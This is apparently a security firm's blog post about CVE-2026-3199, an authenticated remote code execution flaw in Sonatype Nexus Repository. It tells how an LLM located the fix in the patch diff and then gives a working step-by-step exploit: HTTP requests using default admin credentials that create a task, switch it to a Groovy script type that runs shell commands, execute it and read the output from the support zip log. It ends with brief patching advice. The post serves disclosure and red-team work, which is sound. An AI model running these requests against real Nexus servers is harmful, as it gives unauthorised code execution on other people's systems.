
CVE-2026-3199 is an authenticated Remote Code Execution (RCE) in Sonatype Nexus Repository, incorrectly tagged as CWE-502 (deserialization) in the NVD entry, which is awaiting enrichment. No existing blogs or detailed writeups were available at time of exploitation/writing. Armadin used a Large Language Model (LLM) to perform a diff on the massive, squashed patch commit to quickly identify the vulnerability, then weaponized it to achieve RCE on a default instance discovered on the Internet during an actual red team assessment.
Armadin recently discovered an Internet-facing, default instance of Nexus on a client’s external network. After logging in with default credentials (admin:admin123), we realized there was nothing sensitive exposed and Groovy scripting was disabled. Instead of reporting and moving on, we dug into alternate RCE paths to fully test any possible kill chains that could have a business impact on our client. While looking for alternate RCE paths, we discovered CVE-2026-3199—an “awaiting enrichment” vulnerability disclosure from April 4, 2026.
Searching around, we realized there were scant details and were led to believe that this was a deserialization issue. While Nexus is on GitHub, Sonatype Nexus Repository Manager's squashed commit is over 300 files, with approximately 52,000 lines changed, and it includes features, refactors, frontend churn, and test updates, all with a one-line message: “Public export of Nexus code:”
If a human were to grep for “Task,” 20 to 30 candidates—including TaskComponent.java, which conveniently has one of the larger test diffs (610 lines)—might draw attention. Using the NVD entry, looking for deserialization-adjacent code, typeId/source handling, and authorization changes would take someone experienced with Java/Nexus at least several hours to find the core issue.
LLMs are especially useful for triaging large diffs and applying security-review judgement to every changed file in parallel, then surfacing a more targeted subset of results worth a closer look from a human. Armadin utilized an LLM to do this with a known-vulnerable version (3.90.2) and the patched version (3.91.0) of Sonatype Nexus Repository. Within approximately 30 minutes, the LLM pinpointed the four-line security fix in TaskComponent.java and correctly identified the issue: an improper authorization flaw/object modification in the update() handler, which trusted a client-supplied typeId field.
Any authenticated user with task-update permissions could flip an existing benign task to type script, then execute arbitrary Groovy in the Nexus Java Virtual Machine (JVM), bypassing the nexus.scripts.allowCreation hardening control intended to prevent exactly this situation.
To put it in plain English, the update endpoint trusted the client to upload a harmless scheduled task, then change it to a script and execute arbitrary code.
Having identified the core issue, Armadin worked with the LLM to draft a Proof of Concept (PoC) to achieve RCE, using the following steps to execute code. In this case, the application was deployed on a Kubernetes pod. Armadin deployed a lab instance in Docker for testing purposes and for refining the PoC to a fully weaponized exploit.
First, we needed to confirm the vulnerable version of the application.
curl -sk -u admin:admin123 http://localhost:8081/service/rest/atlas/system-information | jq '."nexus-status"'

A user with task creation and update permissions is required to exploit this issue. Create a benign task (any type works here). Make a POST to /service/extdirect with Content-Type: application/json and auth (basic, or session cookie + NX-ANTI-CSRF-TOKEN header that Nexus sets on login). The following is the request for an example benign task.
POST /service/extdirect HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Content-Length: 247
{
"action": "coreui_Task",
"method": "create",
"tid": 1,
"type": "rpc",
"data": [{
"typeId": "security.purge-api-keys",
"name": "diag-poc",
"enabled": true,
"alertEmail": "",
"notificationCondition": "FAILURE",
"schedule": "manual",
"properties": {}
}]
}Save the result.data.id—you need it for step 2. If success: false, your account lacks nexus:tasks:create.
"tid": 1, "action": "coreui_Task", "method": "create", "type": "rpc", "result": {
"success": true,
"data": {
"id": "<uuid>",
...
}
}
}After task creation, now flip the typeId to script. <GROOVY_HERE> is a placeholder for the payload - escape newlines as \n, since it is a JSON string.
POST /service/extdirect HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Content-Length: <body bytes>
{
"action": "coreui_Task",
"method": "update",
"tid": 2,
"type": "rpc",
"data": [{
"id": "<TASK_ID_FROM_CREATE>",
"typeId": "script",
"name": "diag-poc",
"enabled": true,
"alertEmail": "",
"notificationCondition": "FAILURE",
"schedule": "manual",
"runPreviousPlan": false,
"properties": {
"language": "groovy",
"source": "log.info('=====BEGIN_PROBE=====');'id;whoami;uname -a'.execute().text.split('\\n').each{log.info('OUT|'+it)};log.info('=====END_PROBE=====')",
".typeId": "script",
".typeName": "Admin - Execute script"
}
}]
}Notice the example/minimal Groovy you can drop into source for initial validation by executing id; whoami; uname -a:
log.info("=====BEGIN_PROBE=====");
"id; whoami; uname -a".execute().text.split("\n").each { log.info("OUT|"+it) };
log.info("=====END_PROBE=====")If you see the data.typeId field return as script, the flip succeeded.
{ "tid": 2, "result": { "success": true,
"data": { "typeId": "script", "name": "diag-poc", ... } } }At this point, you can check in the UI under Administration > System > Tasks > <your task> and view the edit page as Admin - Execute script type with the Groovy in the source editor. To run the task, make a request to the same endpoint (POST /service/extdirect) with method: run against the taskId.
POST /service/extdirect HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Content-Length: <body bytes>
{
"action": "coreui_Task",
"method": "run",
"tid": 3,
"type": "rpc",
"data": ["<TASK_ID_FROM_CREATE>"]
}
A successful response will indicate result.success: true with data: null. Give it 2 to 5 seconds, then you can retrieve command output by retrieving the support zip log. Make a POST to /service/rest/v1/support/supportzip (or retrieve from the UI):
POST /service/rest/v1/support/supportzip HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Accept: application/zip
Content-Length: 60
{"taskLog":true,"limitFileSizes":true,"limitZipSize":true}The only necessary file is the taskLog. Output from the Groovy log.info lands here. Select the newest log by filename, which is formatted like script-<yyyyMMddHHmmssSSS>.log. Example output:
2026-05-07 13:22:48,910+0000 INFO [quartz-12-thread-20] *TASK org.sonatype.nexus.internal.script.ScriptTask - =====BEGIN_PROBE=====
2026-05-07 13:22:48,923+0000 INFO [quartz-12-thread-20] *TASK org.sonatype.nexus.internal.script.ScriptTask - OUT|uid=200(nexus) gid=200(nexus) groups=200(nexus)Be a good red teamer: don’t leave artifacts. Delete your task(s):
POST /service/extdirect HTTP/1.1
Host: 10.0.0.1:8081
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/json
Content-Length: <body bytes>
{
"action": "coreui_Task",
"method": "remove",
"tid": 4,
"type": "rpc",
"data": ["<TASK_ID_FROM_CREATE>"]
}To automate the full process as part of the attack chain, Armadin developed a full exploit to upload a task, flip it to a script with arbitrary Groovy, run the script, and retrieve the output.



The primary and most effective defense against CVE-2026-3199 is the immediate patching of Sonatype Nexus to version 3.91.0 or later. If an organization is currently running a version within the affected range of 3.22.1 to 3.90.2, we strongly recommend that you prioritize upgrading to the patched release immediately. Securing artifact infrastructure requires shifting away from default configurations and adopting strict least-privilege policies:
The workflow and results from this scenario perfectly highlight the change that LLMs bring to vulnerability research, specifically in collapsing the timeline from vulnerability disclosure to exploitation. Despite sparse details and an incorrect CWE tag, we achieved full exploitation of this vulnerability in under two hours. Armadin continues to refine internal research processes to proactively analyze disclosed vulnerabilities that lack full writeups and working PoCs. This helps demonstrate the full impact of new issues as they arise, rather than unhelpful theoretical security guidance.
Learn more at Armadin.com.
Cory Smith contributed the defensive considerations for this blog post.